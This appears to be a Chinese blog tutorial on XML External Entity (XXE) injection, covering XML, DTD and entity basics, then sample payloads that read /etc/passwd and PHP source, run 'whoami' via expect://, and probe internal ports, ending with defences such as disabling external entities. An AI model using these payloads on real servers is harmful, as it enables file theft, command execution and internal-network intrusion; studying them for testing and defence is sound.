XXE漏洞

一、xml基础

​ XML 指可扩展标记语言,可以自定义标签

​ XML 被设计用来传输和存储数据。

​ XML 仅仅是纯文本

一个 XML 文档实例

#第一行是 XML 声明
<?xml version="1.0" encoding="ISO-8859-1"?>
#XML 元素指的是从(且包括)开始标签直到(且包括)结束标签的部分
<note>
    <to>George</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body>
</note>
  • DTD

​ 文档类型定义(DTD)使用一系列合法的元素来定义XML文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。DTD声明始终以!DOCTYPE开头,空一格后跟着文档根元素的名称。

#内部的 DOCTYPE 声明(DTD 被包含在您的 XML 源文件中)
	<!DOCTYPE 根元素 [元素声明]> 

#外部文档声明(DTD 位于 XML 源文件的外部)
	<!DOCTYPE 根元素 SYSTEM "文件名">
  • 实体

​ 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

​ 实体引用是对实体的引用。

​ 实体可在内部或外部进行声明。

一个内部实体声明:

<!ENTITY 实体名称 "实体的值">
<!ENTITY writer "Bill Gates">
<author>&writer;&copyright;</author>

一个外部实体声明:

#语法
<!ENTITY 实体名称 SYSTEM "URI/URL">
#声明实体
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
#引用实体
<author>&writer;&copyright;</author>

二、XXE漏洞

2.1 漏洞原理

​ XXE (XML External Entity injection)XML 外部实体注入漏洞, 应用程序在解析XML 文件时没有过滤外部实体的加载,执行恶意内容,导致读取任意文件,命令执行和对内网的攻击。简单来说就是,DTD引用外部实体导致的漏洞

注:xml的解析依赖libxml库,在libxml2.9之前的版本默认支持并开启了对外部实体的引用。

​ 实体的url支持file://和ftp://等伪协议

xml漏洞代码

2.2 漏洞条件

​ XXE漏洞实际中遇到的不多,CTF中可能比较常见

​ 这种漏洞类型的前提:

  • 服务端接收客户端提交的xml数据格式请求
  • 服务端xml格式解析器本身格式/规则存在漏洞

2.3 漏洞利用

​ 利用这个XXE攻击,可以任意读取目标靶机的文件、内网探测及攻击、命令执行等。

​ xxe漏洞的主要特征:无论向服务端提交什么样的数据,服务端都会返回同样的结果(和XSS漏洞脚本类似)。

2.3.1 读取任意文件

通过加载外部实体,利用file://、php://等为协议读取本地文件

file://伪协议payload如下:

#第一部分:xml声明部分
<?xml version = "1.0"?>
#第二部分:文档类型定义DTD
#定义此文档是note类型的文档
<!DOCTYPE hack [
	#外部实体声明 f:实体名 外部实体 实体值
	<!ENTITY f SYSTEM "file:///etc/passwd"> #读取文件内容
	<!ENTITY f SYSTEM "php://filter/read=convert.base64‐encode/resource=xxe.php"> #读取源码
]>
#将f这个实体进行调用
<x>&f;</x>

2.3.2 执行命令

要求PHP支持expect拓展,默认是没开的

expect://伪协议调用系统命令

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://whoami" >]>
<name>&xxe;</name>

2.3.3 内网探测与攻击

如果端口开启,请求返回的时间会很快,并且会有服务的banner返回;

如果端口关闭,请求返回的时间会很慢,会返回报错信息。

  • 探测内网服务器端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<name>&xxe;</name>
  • 攻击内网机器
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1/payload" >]>
<name>&xxe;</name>

2.4 XXE的防御

  1. 使用开发语言提供的禁用外部实体的方法

  2. 过滤用户提交的XML数据。过滤关键词:<!DOCTYPE、<!ENTITY、SYSTEM和PUBLIC。

posted @   lsyr007  阅读(62)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
点击右上角即可分享
微信分享提示